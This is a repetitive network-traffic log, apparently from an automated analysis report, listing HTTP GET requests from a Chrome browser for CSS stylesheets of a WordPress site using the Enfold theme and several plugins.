Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icon/icon.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image/image.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/avia-snippet-site-preloader.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/promobox.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/search/search.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_feature_image/slideshow_feature_image.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullsize/slideshow_fullsize.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_share/social_share.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/table.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/team/team.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-public.css?ver=3.0.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-gdpr.css?ver=3.0.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-list-horizontal/style.css?ver=1 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/shortcodes.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/avia-snippet-lightbox.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
